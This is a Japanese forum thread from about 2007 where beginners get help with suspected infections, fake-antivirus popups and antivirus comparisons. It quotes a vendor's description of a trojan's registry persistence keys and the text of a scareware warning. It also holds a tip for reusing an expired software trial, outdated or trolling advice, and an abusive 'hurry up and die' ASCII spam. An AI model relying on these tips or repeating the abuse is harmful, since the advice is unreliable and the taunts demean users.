いくつか見つかりました。
これは削除してしまって大丈夫なんでしょうか？
いつ感染したか分からないのですが・・・・
分かる方よろしくお願いします。

ちょい待ち！
大事なこと見逃していた>298
＞【使用ブラウザ】 ？　最近買ったNEC　LL550/G
ブラウザというのは、普段Webサイトを見るためのアプリケーション
例：InternetExplorer，Sleipnir，など…
で、大事なことは↓

NECのパソコンにはマカフィーという名前のセキュリティソフトが
プレインストールされているはずです。（俺も同じNECを持ってます）
ソースネクストをインストールする前に、マカフィー製品をアンインストールしましたか？

>309
スルーor気持ち悪かったら消す

>>310
ありがとうございます！！
何か分からないので削除します。

ここで質問しろ
http://oshiete1.goo.ne.jp/c684.html

教えてくれウズウズしてる池沼が我先に手取り足取り教えてくれるよ

>>305
詳しいレスしてくださって、本当にありがとうございましたm(_ _)m

>>310ありがとう。削除支持がでたのでしました。

msmsges.exeってメッセンジャーの本体だよね？

なんでか知らないがダイヤルアップつなげるたびに勝手にバックグラウンドで動いて
ＩＥの履歴参照するんだが
C:\Documents and Settings\＊＊＊＊\Local Settings\Temporary Internet Files\Content.IE5


それともそういうものなのか？

ウィルス対策ソフトをインストールせずに、外国のサイトを
うろうろするのは危険ですか？

>>316
ｓｐ2ならおｋ
当方カスペ使用

>>315
トロイじゃまいか、ググってみ

C:\Documents and Settings\＊＊＊＊\Local Settings\Temporary Internet Files
も参照してる、、

>>318
ぐぐるとバックドアの一種だね
ちょっと長いが引用
http://www.symantec.com/region/jp/avcenter/venc/data/jp-trojan.zhopa.html
＞Trojan.Zhopa が実行されると、次のことを行います。
＞%System%\msmsgs.exe として自分自身をコピーします。
＞C:\Windows\System32 (Windows XP)
該当フォルダにmsmsgs.exe無し

＞"Shell" = "Explorer.exe, msmsgs.exe"
＞次のレジストリキーに追加することによって、
＞HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
＞Windows の起動時に必ずトロイの木馬が実行されるように設定します。
該当パスにshellキーはあったが、"Shell" = "Explorer.exe"だった

＞"MSN Messenger" = "%System%\msmsgs.exe"
＞次のレジストリキーに作成することによって、
＞HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
該当パスに"MSN Messenger"無し

＞"uuid" = "<ランダムな文字>"
＞次のレジストリキーに追加します。
＞HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion
該当パスに"uuid"無し

＞"notepad.exe" = "msmsgs.exe"
＞次のレジストリキーに作成します。
＞HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\policies\explorer\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\policies\内にexplorerが見あたらない

一応、駆除方法に乗っ取ってノートン走らしてみる。（毎日スキャンしてるんだけどなぁ、、）

報告希望

ノートンとカスペエンジン互換のセキュソフト（SGなんちゃら）を動かした。
なにも引っかからない。

再起動直後にファイルの読み書きをモニタしたら、

ccAPP,exe（ノートンの本体）
svchost.exe
msmsgs.exe
が永遠とアクセスしててワロタ。　　慌てて電源期って　ｱﾄﾞﾐﾝで入り直す。

ｱﾄﾞﾐﾝで立ち上げると、なぜか”プログラムの追加と削除”では削除済みのmsmsgs.exeがタスクバーに。
検索したら、program/messenger/にmsmsgs.exeが復活してる。　速攻シフト＋削除

サイド、再起動。今度はいつも使ってるユーザーアカウントでログオン。
立ち上げ直後、やはりファイルモニタすると
CCAPP.exe
svchost.exe
が無いはずのmsmsgs.exeを参照し続けてる。　（NOT　FILE　FUONDと表示されつづけてる）


てかSGアンチスパイの本体もmsmsgs.exsを動かしてなんかしようとしてるや、、
俺＼(^o^)／ｵﾜﾀ　　

>>323
っSpuBot S&D

yって打ちたかったのね　　ｼｮﾎﾞﾝ

Spy Botだった（´・ω・`）ｼｮﾎﾞｰﾝ

(´・ω・｀)

(｀・ω・´)

　　　　　　　　　　　　　　　　　　　〃⌒
　　　　　　　　　　　　＿　 ＿, ヘ/､_/＼
　　　　　　　　 , - ' ´,. イ＞7: : : :＼.: : : ＼
　　　　　 　 ／ : : _/ﾌﾒﾞ: : /: : : : : : : : : : : : ｀丶
.　 　 　 　 /: : : :f⌒/.: : :./: : /: : : !Fﾞﾗi ﾍ＼＼ ＼
　　　　＿/＿: :/ゞ/: : : :/: :./:/.: :,ｲ|　.ﾙ: :〉:.:∨＼:｀ ､
　　 　ヾヽ､　｀＼/.:.:.:.:.:.i.:.:.,ｲ.:i.:.:/.,.:|　 |__,ﾊ.:.: |i:.:.:.∨)）
　　　　〉､　ヾ　　| ::::::::: | 〃|i厶イﾙ　　ｿ zx|::::|i::.!:::|
　　　ノ::::::＼　,ゝi::::::::::: ﾙ' 彡fﾁ《　　　　{豸|::::ﾘ:ﾞﾄ､|
　　　7:::::::::::{＞-|:::::::::: ﾙ' 》ﾞ .為, 　 　　 ﾔ},ﾘ,ﾉ::/´ﾘ
　　 /,ｲ::::ii::::ゝ､.:ﾄ:::::: 八. 气弐豸.　　　　,´ ゞr'
. 　（( .{::::ﾙ:八..:八 ＼::::::＼ ゞ''ﾞ´　　　 ,.ｨ　 /　　おもしろーい
　　　　ゝ,乂ﾙ＼/ﾞ弋_〉､::::::ﾌ　　　　　 ｀ ／
　　　　 乂彑ﾙ'/〃　!ﾄ─＜フ⌒ｯｧ─ '´ __
　　 　 （(　 ／/ .ﾉ　　|＞' ´￣丈/7,／￣ / ., ヘ,_
　　　 　 ／ ノ／ﾑ 　 | : : : : : : : : ｀＼〃ノr'´―< j
._,.．-'''": : :.乙_/　i　 i|: : / : : : : : : : : K´{ |　 ﾞﾆ〈/
: : : : : :／ : : : : ﾞ――': :/ : : : : : : : : : 〉.}^ |.　　Y.}
: : : :／: : : : : : : : : : : : : : : : : : : : : : :.ﾑﾉ/＾L　 ﾉ´
: :／ : : : : : : : : : : : : : : : : : : : フ : ／'7/　 ∨了ス
: : : : : : : : : : : : : : : : : : : : : :／:.／: :./ }/　/／´／

>>323
ググれば解決
先生ワロス

質問です

セーフモードでウイルスのファイル名を変更したいのですが
ウイルスバスターを開こうとすると【設定の読み込みに失敗しました】とでてできません。

どうしたらいいか教えて貰えませんか？お願いします

メーラーのPOPサーバが127.0.0.1に勝手に書き換えられます

途中で送信しちゃいましたごめんなさいorz
これはウイルスのせいでしょうか？

そんな時にこそ古いバージョンのRegSeekerを試してみましょう

>>333
http://peercast-jp.sourceforge.jp/cgi-bin/note.cgi?LocalHost

>>334
君はひどい人だね。

>>335
レスありがとうございます！
難しくてよくわからなかったんですがorz

　━━━━一
　　　　　　　　　　━━━━一
　　　　　　　　　　　　　　　　　　　　　━━━━一
　　　　　　　　　　　　　　━━━━一
━━━━一
　　　　　　　　　　　　━━━━一


何だかよく分からないですけどここにポッキー置いておきますね
http://www2.strangeworld.org/uedakana/

11月11日はポッキー&プリッツの日

　　　　　　━━━━一
　　　　　　━━━━一
　　　　　　━━━━一
　　　　　　━━━━一

　　　　　　　　　　　　　　　　　　　　　　　 ,､ｧ
　　　　　　　　　　　　　　　 　 　 　 　 ,､ '";ｨ'
_＿_＿＿___　　　　　　　　　　　　　 ／::::::/l:l
─- ､::::;;;;;;;;;｀ﾞﾞ''‐ ､　 　 __,,,,......,,,,_／:::::::::/: !|
　　. : : : : : : ｀ﾞ'ヽ､:::ﾞヾ´::::::::::::::::::::::｀ﾞﾞﾞ'''‐'､. l|　　　　　　あうちんぽ
､､ . : : : : : : : : r'":::::::::::::::::::::::::,r':ぃ::::ヽ::::::::ヽ!　　　　　　　　　　　　　　　　　,､- ､
.ヽ:ﾞヽ; : : : : : :ノ:::::::::::::::::::::;;､-､､ﾞ::: 　 　 rｰ-:'､　　　　　　　　　　　　　 　 ／　　 }¬､
.　＼::ﾞ､: : : :./::::::::::::::;､-''"::::::::::　　　,...,:::,::.,　:::':､　　　　　　　　　　　　_,,/,,　 ,､.,/ 　 }
　　　ヽ:ヽ､ /:::::::::::::::::::::::::　 　 　_　　｀ﾞ''‐''"　 __,,',,,,___　　　　　　　／~　　 ヾ::::ﾂ,､-/
　　　　 ｀ヽ､:::::::::;;;､､--‐‐'''''',,iﾆ-　　　 _|　　､-l､,},,　 ￣""'''¬-, '　 ''‐-､ .,ﾉ'ﾞ,i';;;;ﾂ
　　　_,,,､-‐l'''"´:::::::'　　,､-'" ,.X,_,,､-v'"''ﾞ''yr-ヽ / ﾞﾞ'ヽ､,　　　 ,.'　　　 　 jﾞ,,, ´　7
,､-''"　　 　.l:::::::::::;､-''"　 ,.-'　　ﾞ､""ヾ'r-;;:l　　冫、 　 　 ヽ､ /　 　 __,,.ノ:::::ヽ. /
　　　　　　　l;､-'ﾞ:　　 ,／　　　 　 ゞ=‐'"~ﾞﾞ')　./.　＼　　　　/　　'''"/::::;:::;r-''‐ヽ
　　　　　,､‐ﾞ ヽ:::::..,.r'ﾞ　　　　　　　　 ,,. ,r／ ./　　　 ヽ.　　 ,'　　 　 '､ノ''"　　　ﾉ
　　 ,､‐'ﾞ　　 　 ﾝ;"::::::.　　　　　　　"´ 'ﾞ ´　/　　　　　 ﾞ､　,'　　　 　 　 　 　 ／
　　'　　　　　／/:::::::::　　　　　　　　　　　　{.　　　　　 　 V　　 　 　 　 　 ／
　 　 　 　 ／ ./:::::::::::::　　　　　　　　　　　　',　　　　　　 /　　　　　　 　 /
.　　　　／　 /:::::::::::::::::.　　　　　　　　　　　　',.　　　 　 /　　 ,.､　　　　 /

解決しました！

>>315 >>323 です

>>330
>>320にあるバックドアと別ということですか？

参考までに。　ノートンが悪魔に魂を売った瞬間。バリバリとハックされてます
http://www.uploda.org/uporg677057.jpg.html　パス：sensei

質問です。パソコンを立ち上げると、ソーネクストセキュリティー画面が出て
スタートページが変更されました。と毎回でます。許可しますか？ブロックしますか？
と選べるんですが毎回ブロックするのが面倒です。永遠にブロックするみたいな
対策はありませんか？

>>343
パソコンに入り込んでるウイルス共を駆除汁｡

>>343
まず>4でオンラインスキャン
感染を確認したらソースネクストを捨てて>4の会社の製品を買いに行け

>>343
詳細を表示とかできないの？
で、もとのプログラムを特定しろ

>>343
RegS・・・

>>345
オンラインスキャンｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗ
他に言うことは？

spybotとウイルスセキュリティだけの環境で、
「無事対処した」と言われていようと、
途中でトロイ検出されてる人に他に言うことはないだろ。まず確認。

質問があります。
ノートンを使い始めているんですが、
システムの完全スキャンでトラッキングクッキーというのを検出しました。
ここまでは良いんですが、
このクッキーとかいうのが来たのが分かりませんでした。
他のウイルス・スパイウェアは検出した事がないのですが、
事前に知る方法というのはないんですか？

>>350
http://e-words.jp/w/E382AFE38383E382ADE383BC.html

>>３５０
って事はウイルスじゃないって事ですか？
確か第三者に報告して個人情報を盗んだりできるって書いてあったんですけど。

>>532
アングラサイトに行ったらそうなる

>>353
もしかして2chもアングラサイトの内に入るのですか？

すいません脱線してしまいましたｍ（＿）ｍ
目的の質問に戻ります。


ウイルス・スパイウェア等を事前に感知したいんですけど、
対処法とか教えてくれると嬉しいです。

>350
そりゃみんな事前に感知できれば世話ない

スパイウェアはブラウザ経由で入るものが多い
ならばそれを防御するソフトを入れるもよし
そのクッキーはIE使いならのプライバシー設定やるのもよし
何もしなくてもよし
自由にしてくれ

>>356
そうですよね事前に感知できたら誰も困ったりしませんからね。
答えてくれてありがとうございました。
いろいろして見たいと思います。
ほんとにありがとうございました。

今ノートン2007の試用品を入れてるのですが、
試用期間が終わったらもうインストール出来ないですか？

試食品を平らげて御代わりありますってアンタ・・・

>>359
やっぱ出来ませんよね…すいません
ありがとうございました

>>360
つtotaluninstall

>>361
NISは無理じゃなかったっけ？

いけるだろ、普通に

アンインストールすれば出来るのかな？

【使用OS】 WindowsXP Home
【使用ブラウザ】 Internet Explorer
【Microsoft Updateの状態】 常に最新のつもりです
【ウイルス対策ソフトとバージョン】 最新のノートン
【スパイウェア対策ソフト】 上と同じく
【ファイアウォール】ノートンがあるから つかってないような？
【ルータの有無】
【具体的な症状】
ネットを見ていて、リンク（海外サイト）をクリックしたら以下の文が表示されました。
今ノートンでスキャン中です。

貴方のパソコンは「ブラックウォーム」に感染される恐れがあります。ご覧のセキュリティソリューションをダウンロードするのお勧めします。
「ブラックウォーム」は危険性の高いウィルスであります、2006年２月に出現して、すでに多くのコンピュータの情報を破損しました。このウィルスはすでに百万のパソコンを感染して、インターネット上で色んな国で広がれています。
警報！セキュリティセンターは貴方のパソコンにセキュリティミッスを検出しました。そして貴方の個人情報を違うコンピュータに伝送される恐れがあります。以下のプロセス（Win32res.exe）ご覧の情報を送信しました。

IPアドレス：x22.xx6.xxx
ブラウザ： Mozilla/4.0 (compatible; xxxxxxx Windows NT 5.1; SV1; .NET CLR xxxxxxxx5; .NET CLR 1.1.4322; .NET CLR xxxxxxxx)
コンピュータOS： Windows XP
パソコン情報：獲得 Obtained
パソコン地域： Japan, Chiyoda

うそっぽいソフトの「ダウンロード」ボタンがあったので、怖くなってブラウザを閉じたのですが…これはだいじょうなものなのでしょうか？
【過程と措置】 海外サイトを見ていたら、マイナーな検索サイトのようなものが出て、検索した言葉のリンクを押したらそうなった。
【その他】

>>365
吊ってこい

>>365
ｈｔｔｐ://www.higaitaisaku.com/removewinfixer.html

>365
WinAntiVirus PRO 2006だなw
＞【Microsoft Updateの状態】 常に最新のつもりです
最新で、かつソフトをダウンロードしていなければ大丈夫だ。

XP SP2　ADSL　初心者です。

ノートンパーソナルファイアウォールでは書き込みできなかったので、
今まで書き込みの際には、Windowsのファイアウォールを有効にして
ノートンを無効にして書き込んでました。
(今日ノートンでの書き込み方は分かったのでその点は大丈夫です)
ところが１週間程前、Windowsを無効にしたまま(ノートン無効)
書き込んでしまいました(大泣)

それ以来なかなかネットに繋がり難くなってしまいました。
このことからどういうことが考えられますでしょうか？
あと私の不始末からどのような危険性が考えられるかお教え下さい <(＿)>

>>367
ありがとうございます。
詳しく書かれていますね。

>>368
それです、聞いたことないなって思ったのですが。
ちなみに、最新でない場合はどうなるのでしょうか？
最新かどうかそんなに自信がないのですが。
もちろんダウンロードはしていませんが…
tracking cookieとはかなり大変なものなのでしょうか？
イマイチ正体がよくわからないのです。

370は365です。

>370
もし、MUが最新で無かったらセキュリティホールを突かれてインストールされてしまう。
tracking cookie？
大したことはない。スルーしても良いし、削除しても良い。
どちらかと言うと、削除推奨だけどね。

プロバイダはYahoo!BBに加入中です。
ウィルス対策ソフト入れてても、BBセキュリティは加入した方が良いの？
月額いくらかとられるよね。

>>372
たびたびすみません。
セキュリティホールを突かれてインストールされた場合（恐らく大丈夫）は、
再起動したらメッセージが出たりなど、わかりやすいものはあるのでしょうか？
また、インストールされていたら削除すればＯＫなのでしょうか？

>374
そう言う時の対処方が>367で紹介されているサイトに載ってる。

>>375
すみません。
もう一度じっくり読みます。
ただ、情報流出などはなさそうで安心しました。
みなさん、ありがとうございました。

ヒント：Nortonにはヘルプが付属してある

遅ればせながら追加です。(ごめんなさい!!)
【使用ブラウザ】 Internet Explorer
【Microsoft Updateの状態】 最新
【ウイルス＆スパイウェア対策ソフト】使用してません。ソフトを使いたいのですが
　　　　メモリが２５６Ｍで、どれも難しそうです。最近フリーソフトの存在を知り、
　　　　今月中には導入予定。２ｃｈで勉強中。
【ファイアウォール】プリインストールされてたノートン
【ルータの有無】無

>>378 初心者には日本語が良いと思うから、

アンチウイルス
http://67.15.104.48/index_jpn.html
の「avast! 4 Home Edition」を入れとけ。メールによる
ライセンス(レジスト)キーの入手も忘れずに。

アンチスパイウェア
http://www.microsoft.com/japan/athome/security/spyware/software/default.mspx
の「Windows Defender」

ファイアウォール
http://dobry-den.sakura.ne.jp/html/JPF_top.htm
の「Jetico Personal Firewall」
http://www.agnitum.com/products/outpostfree/download.php
の「Outpost Firewall Free」

他にも、AVGなどのこれらよりも優秀なものあるが英語というところが
ネック。

>379
>369と>378読んでみ
【Microsoft Updateの状態】が最新でも、セキュリティソフト無し&ルータ無し
その上FWまで無効にした状態でネットに繋いだってことだぞ。

>>378
とりあえずパソコン買い直せ

>>373
いらないと思う

カスペルスキーアンチウィルス入れてたんだけど使用期限すぎたから更新せず
他のセキュリティソフト使ってみようと思うんだけど
ノートンは重たくなりますか？
ちなみにOSはXPのSP2、メモリは512Mです
メモリは増設したほうがいい？

>383
ノートンは機能削減でかなり軽くなった・・・という噂だ
メモリは重いと感じたら増設すればいい

>>379 アドバイスありがとうございます。とても参考になりました。

>>380 そのとおりです(泣)。FWまで無効にした状態は、書き込む瞬間１分足らずだったと
　　　思いますが、書き込んでしまった時点でアウトでしょうか？(Ｔ_Ｔ)

>>381 リカバリじゃダメでしょうか？

一応プリインストールされてたマカフィーVirusScan(2001年･もうアップデート不可)は
起動していました。古いので無いも同然だと思ってあえて書き込みはしませんでした。

>>385
http://arena.nikkeibp.co.jp/col/20050510/112145/
>ルーターなしでインターネットに接続した瞬間、外部のコンピューターがこのIPアドレスめがけて
>攻撃してきた。ウイルスを送り込もうとしているのだ。その後も、ノーガードマシンはサンドバッグ
>のごとく連続攻撃を受け、1時間後にはPCにボット型のウイルスが侵入していた。ユーザーは何
>の操作もしていないのに、ウイルスに感染してしまったのだ。

>385
SP2適用済みのCD作ってクリーンインストールする
http://homepage2.nifty.com/winfaq/wxp/setup.html#1421
PFWソフトoutpost入れる
次にwindowsupdate
まずはそれをやることだ

そのあといろいろなセキュリティソフトを入れるが
これはまた質問すればいい
ただ、セキュを入れる前にあまり出歩くな

PS. PFWはとりあえずoutpostを薦めたが好きなのOK

>385
おっと、忘れてた
ネットに繋ぐのはPFW入れてから
それまではLAN線抜いておけ

俺的にはPFWはWin標準。でルータ付けるな

>>389
またお前か！

>>385
ネットに繋がりにくいとは何を指して言ってるの？
タスクトレイからバルーンで接続が無い警告が出るとか、
通信速度のスコアが急激に下がったとか、
具体的な症状・何からそう思ったのか書かないと判断しかねる。

メモリ不足から通信はできても処理が遅れるとかもありえる。
買い直せはそこら辺含めてだと思うよ。256MでXPとかギリギリだから。

NDO32とかマカフィーとかきになるんですが
おまいらならどちらがおすすめですか？

マカフィーは糞重いよ

どっちかならNOD32
と言いたい所だが最近の検出しない騒ぎの真偽を知らんのでｶﾞﾝｶﾞﾚ
マカフィーにしてもFWは別に用意した方がよさそうなのは確か。

394 名前：名無しさん＠お腹いっぱい。[sage] 投稿日：2007/02/03(土) 13:03:58
どっちかならNOD32
と言いたい所だが最近の検出しない騒ぎの真偽を知らんのでｶﾞﾝｶﾞﾚ
マカフィーにしてもFWは別に用意した方がよさそうなのは確か。

>>394
検出できないウイルスがいくつかあっても問題ない。
それ以前に必ず検出できないとだめという方がおかしいだろ。検出しなさすぎるのは論外な。
Kasperskyにしたって検出できないウイルスは数個あるんだから。
結局、大して問題ないという俺の結論。

>>396
NOD厨自演乙。初心者スレまで工作ご苦労さん。

>>396
１００のウイルスが入ってきて９０退治できるようなもんだろ。それじゃあウイルス対策の意味が無い

(-＿-)　ﾊﾔｸｼﾝﾃﾞﾈ… (-＿-)　ﾊﾔｸｼﾝﾃﾞﾈ… (-＿-)　ﾊﾔｸｼﾝﾃﾞﾈ…
(∩∩) 　　　　　　　　 (∩∩) 　　　　　　　　　(∩∩)

(-＿-)　ﾊﾔｸｼﾝﾃﾞﾈ… (-＿-)　ﾊﾔｸｼﾝﾃﾞﾈ… (-＿-)　ﾊﾔｸｼﾝﾃﾞﾈ…
(∩∩) 　　　　　　　　 (∩∩) 　　　　　　　　　(∩∩)

(-＿-)　ﾊﾔｸｼﾝﾃﾞﾈ… (-＿-)　ﾊﾔｸｼﾝﾃﾞﾈ… (-＿-)　ﾊﾔｸｼﾝﾃﾞﾈ…
(∩∩) 　　　　　　　　 (∩∩) 　　　　　　　　　(∩∩)

(-＿-)　ﾊﾔｸｼﾝﾃﾞﾈ… (-＿-)　ﾊﾔｸｼﾝﾃﾞﾈ… (-＿-)　ﾊﾔｸｼﾝﾃﾞﾈ…
(∩∩) 　　　　　　　　 (∩∩) 　　　　　　　　　(∩∩)

(-＿-)　ﾊﾔｸｼﾝﾃﾞﾈ… (-＿-)　ﾊﾔｸｼﾝﾃﾞﾈ… (-＿-)　ﾊﾔｸｼﾝﾃﾞﾈ…
(∩∩) 　　　　　　　　 (∩∩) 　　　　　　　　　(∩∩)

(-＿-)　ﾊﾔｸｼﾝﾃﾞﾈ… (-＿-)　ﾊﾔｸｼﾝﾃﾞﾈ… (-＿-)　ﾊﾔｸｼﾝﾃﾞﾈ…
(∩∩) 　　　　　　　　 (∩∩) 　　　　　　　　　(∩∩)

(-＿-)　ﾊﾔｸｼﾝﾃﾞﾈ… (-＿-)　ﾊﾔｸｼﾝﾃﾞﾈ… (-＿-)　ﾊﾔｸｼﾝﾃﾞﾈ…
(∩∩) 　　　　　　　　 (∩∩) 　　　　　　　　　(∩∩)

(-＿-)　ﾊﾔｸｼﾝﾃﾞﾈ… (-＿-)　ﾊﾔｸｼﾝﾃﾞﾈ… (-＿-)　ﾊﾔｸｼﾝﾃﾞﾈ…
(∩∩) 　　　　　　　　 (∩∩) 　　　　　　　　　(∩∩)

(-＿-)　ﾊﾔｸｼﾝﾃﾞﾈ… (-＿-)　ﾊﾔｸｼﾝﾃﾞﾈ… (-＿-)　ﾊﾔｸｼﾝﾃﾞﾈ…
(∩∩) 　　　　　　　　 (∩∩) 　　　　　　　　　(∩∩)

(-＿-)　ﾊﾔｸｼﾝﾃﾞﾈ… (-＿-)　ﾊﾔｸｼﾝﾃﾞﾈ… (-＿-)　ﾊﾔｸｼﾝﾃﾞﾈ…
(∩∩) 　　　　　　　　 (∩∩) 　　　　　　　　　(∩∩)

(-＿-)　ﾊﾔｸｼﾝﾃﾞﾈ… (-＿-)　ﾊﾔｸｼﾝﾃﾞﾈ… (-＿-)　ﾊﾔｸｼﾝﾃﾞﾈ…
(∩∩) 　　　　　　　　 (∩∩) 　　　　　　　　　(∩∩)

(-＿-)　ﾊﾔｸｼﾝﾃﾞﾈ… (-＿-)　ﾊﾔｸｼﾝﾃﾞﾈ… (-＿-)　ﾊﾔｸｼﾝﾃﾞﾈ…
(∩∩) 　　　　　　　　 (∩∩) 　　　　　　　　　(∩∩)

(-＿-)　ﾊﾔｸｼﾝﾃﾞﾈ… (-＿-)　ﾊﾔｸｼﾝﾃﾞﾈ… (-＿-)　ﾊﾔｸｼﾝﾃﾞﾈ…
(∩∩) 　　　　　　　　 (∩∩) 　　　　　　　　　(∩∩)

(-＿-)　ﾊﾔｸｼﾝﾃﾞﾈ… (-＿-)　ﾊﾔｸｼﾝﾃﾞﾈ… (-＿-)　ﾊﾔｸｼﾝﾃﾞﾈ…
(∩∩) 　　　　　　　　 (∩∩) 　　　　　　　　　(∩∩)

(-＿-)　ﾊﾔｸｼﾝﾃﾞﾈ… (-＿-)　ﾊﾔｸｼﾝﾃﾞﾈ… (-＿-)　ﾊﾔｸｼﾝﾃﾞﾈ…
(∩∩) 　　　　　　　　 (∩∩) 　　　　　　　　　(∩∩)

(-＿-)　ﾊﾔｸｼﾝﾃﾞﾈ… (-＿-)　ﾊﾔｸｼﾝﾃﾞﾈ… (-＿-)　ﾊﾔｸｼﾝﾃﾞﾈ…
(∩∩) 　　　　　　　　 (∩∩) 　　　　　　　　　(∩∩)

■最近はフリーの製品の方が、有料製品よりも活躍しているっぽい■

下記は、www.virustotal.comに拠る検出検証画像。

224 名前：名無しさん＠お腹いっぱい。　[sage]　投稿日：2007/01/23(火) 09:21:32
NODで検出できないルートキットが出たよ。
http://vista.crap.jp/img/vi7012763290.jpg

457 名前：名無しさん＠お腹いっぱい。　[sage]　投稿日：2007/01/25(木) 12:01:17
また"NOD32"で、まだ検出できないウイルスが出現した('A`)
ちゃんと検出できている製品もあるのに。

代表的な検出名：PoisonIvy.j（バックドアの一種）
http://vista.crap.jp/img/vi7012774443.jpg

112 名前：名無しさん＠お腹いっぱい。　[sage]　投稿日：2007/01/28(日) 21:10:05
再び「NOD32」で検出できないウイルスが出現したみたいです…。

代表的な検出名：Trojan.Doropper
http://vista.crap.jp/img/vi7012782119.jpg

87 名前：名無しさん＠お腹いっぱい。　[sage]　投稿日：2007/01/30(火) 13:23:18
四度も立て続けに。もはやNOD32では、そこそこの安心感も得られない時代になったのを実感した。

Avast検出名：Delf-BAW
http://vista.crap.jp/img/vi7007571352.jpg

57 名前：名無しさん＠お腹いっぱい。　[sage]　投稿日：2007/02/01(日) 22:11:15
またNOD32で検出できない奴が。たった一週間ほで5回目。

代表的な検出名：Trojan.PWS.Bikkuri
http://vista.crap.jp/img/vi7012782119.jpg

■ネットで語られている、NOD32とOutpost-Proを扱っている代理店の対応の話の抜き出し■

#NOD32
>ttp://secunia.com/advisories/19054/
>セキュリティホールが見つかって、本家はVer2.51.26で修正されてるんだけど
>日本語版はVer2.50.42のまま平気で売られてる。
>キヤノンに問い合わせても、セキュリティリスクが少ないからと言って
>
>日本語版はVer2.7が出るまで更新されずに長期間放置された。
>
>前にNOD32をアンインストールすると、アプリケーションの追加と削除の項目の大半が消えてしまうという、
>凄まじい不具合を起こしたことがあるけど、それにしても日本語版のリリースは遅れすぎ。
>
>他にも代理店のサイトに書いていないNOD32の脆弱性情報のごく一部。
ttp://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1649
ttp://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0951
ttp://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3212
ttp://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2903
ttp://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0062


#Outpost-Pro
>同じ代理店で扱っているOutpost-Proも酷い状態だよ。
>本家（英語版）がVer4.0なのに、日本語版はまだVer2.7というモノ凄さ。
>
>他のフリーソフトのPFWは本家の英語版がバージョンアップすると、
>一週間程度で日本語化パッチが出来ていたのに、フリーソフトにも劣るこの対応。

マカは重くてＮＤＯは検出しないんですね・・・

それじゃ軽くてちゃんんと検出するソフトはどれなのですかと。
おまいらの偏見でいい　おすすめは何？

　　　,へ
　　　＼/　 ヽ 　　　（　 ）
　　　 _/＊+*`、 　　　(　)
　　＜_＿＿____フ 　　　)　　　それを私の口から言わせるのかい？
　　　 从 ´_ゝ`ﾉ　　　〜　　　　
　　　　 /ﾞﾞﾞlll｀y─┛　　　　
　　　 ノ.　ﾉﾉ　|
. 　 　`〜rrrrｰ′
.　　 　 　|_i|_(_

>>403
俺のおすすめで言えばカスペだが
基本>>396の言うとおりだとは思うんで、自分の中での線引き次第。

既知のウィルスでのテスト
ttp://www.av-comparatives.org/seiten/ergebnisse_2006_08.php
新種のウィルスでのテスト
ttp://www.av-comparatives.org/seiten/ergebnisse_2006_11.php

情報古いけど上から試用してって重さ軽さ含めて自分で気に入ったの使うのがいいよ。
上の方に関しては今月更新されるだろうからチェックしてれば参考にはなると思う。

フリー製品でも性能は十分らすい。

AntiVir PersonalEdition
　価格：無料
　総合検出率　　　　　 ：99,51%
　プロアクティブ検出率：53%

NOD32 Anti-Virus
　価格：4200円
　総合検出率　 　　　　：98,61%
　プロアクティブ検出率：53%

www.av-comparatives.org調査

×既知のウィルスでのテスト
○シグネチャ検出力テスト（プロアクティブ機能もオン）
http://www.av-comparatives.org/seiten/ergebnisse_2006_08.php

×新種のウィルスでのテスト
○プロアクティブ性能テスト
http://www.av-comparatives.org/seiten/ergebnisse_2006_11.php

あるウイルスを検出できない製品にとっては、それはどれも未知・新種のウイルスなので、
「既知の〜」「新種の〜」といった表記はナンセンス。また厳密には新種ではなく
亜種にすぎないウイルスも、検体に使われているはず。

testした人自身が注釈に書くほどあてにならんからな

>>387 貼ってあるURLは重くて見れなかったのですが概要は分かりました。

　　　えっと既知の「SP+メーカー｣ってとこで、SP2適用済みのCD作ってリカバリして
　　　プレインストールしてあるノートンパーソナルファイアウォール(今年3月末迄有効)を
　　　起動させ、ウィンドウズアップデートでＯＫ？
　　　その後、>>379を入れてみます。
　　　　　　
>>391 リンクが下りないっていうんでしょうか。
　　　ADSLのLINEがずっと点滅しっぱなしでネットに繋がりません。
　　　ちゃんと点灯してネットに繋がるまで２０〜４５分かかる…。
　　　>>369のミスを犯すまでは普通に即接続出来たんです。

こういうのもあるよ。

アンチウイルスソフトウェアの検出力ランキング
ttp://gigazine.net/index.php?/news/comments/20060905_antivirus/
1位. Kaspersky version 6.0.0.303 - 99.62%（税込み3150円より、日本語版あり）

2位. Active Virus Shield by AOL version 6.0.0.299 - 99.62%（フリーソフト）

3位. F-Secure 2006 version 6.12.90 - 96.86%（税込み5775円、日本語版あり）

4位. BitDefender Professional version 9 - 96.63%（69.95ドルより）

5位. CyberScrub version 1.0 - 95.98%（49.95ドルより）

6位. eScan version 8.0.671.1 - 95.82%（58.95ドルより）

7位. BitDefender freeware version 8.0.202 - 95.57%（フリーソフト）

8位. BullGuard version 6.1 - 95.57%（59.99ドルより）

9位. AntiVir Premium version 7.01.01.02 - 95.45%（20ユーロより）

10位. Nod32 version 2.51.30 - 95.14%（税込み4200円より、日本語版あり）

まぁ検体に片寄りもあるだろうし、日々更新されるものだし
あくまでもこの時のテストの結果としては有用だと思うんだが。
むしろ>>403に答えてやれよと思うわけです。

>>409
モデムの話ならまずプロバイダに問い合わせようよ。

>409
SP+メーカーなら直よしでOK

>403
NODでもいいんじゃね
そんなに悪くないよ

★━ 質問のしかた ━━━━━━━━━━━━━━━━━━━━━━━━━━━━
